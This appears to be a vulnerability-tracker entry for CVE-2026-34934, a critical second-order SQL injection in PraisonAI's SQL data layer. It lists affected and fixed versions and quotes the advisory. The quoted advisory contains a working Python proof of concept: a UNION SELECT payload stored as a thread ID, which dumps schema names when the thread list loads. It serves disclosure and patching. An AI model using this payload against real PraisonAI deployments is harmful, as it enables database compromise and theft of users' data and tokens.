Answer in brief
CVE-2026-34934 records a Critical severity (CVSS 9.8) vulnerability in PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`. The current sources do not mark it as known exploited. The current feed maps praisonai (pip). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 9.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps praisonai (pip). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| praisonaipip | <=4.5.89 | 4.5.90 |
Published upstream
Apr 1, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Nov 16, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Nov 16, 2026
## Summary The `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access. --- ## Details **File Path:** `src/praisonai/praisonai/ui/sql_alchemy.py` **Flow:** - **Source (Line 539):** ```python await data_layer.update_thread(thread_id=payload, user_id=user) ``` - **Hop (Line 547):** ```python thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')" ``` - **Sink (Line 576):** ```sql WHERE s."threadId" IN {thread_ids} ``` --- ## Proof of Concept (PoC) ```python import asyncio from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer async def run_poc(): data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db") # Insert a valid thread await data_layer.update_thread( thread_id="valid_thread", user_id="attacker" ) # Inject malicious payload payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--" await data_layer.update_thread( thread_id=payload, user_id="attacker" ) # Trigger vulnerable function result = await data_layer.get_all_user_threads(user_id="attacker") for thread in result: if getattr(thread, 'id', '') == 'valid_thread': for step in getattr(thread, 'steps', []): print(getattr(step, 'id', '')) asyncio.run(run_poc()) # Expected Output: # sqlite_master table names printed to console ``` --- ## Impact An attacker can achieve full database compromise, including: - Exfiltration of sensitive data (user emails, session tokens, API keys) - Access to all conversation histories - Ability to modify or delete database contents
Quoted source text, attributed separately from HOL analysis.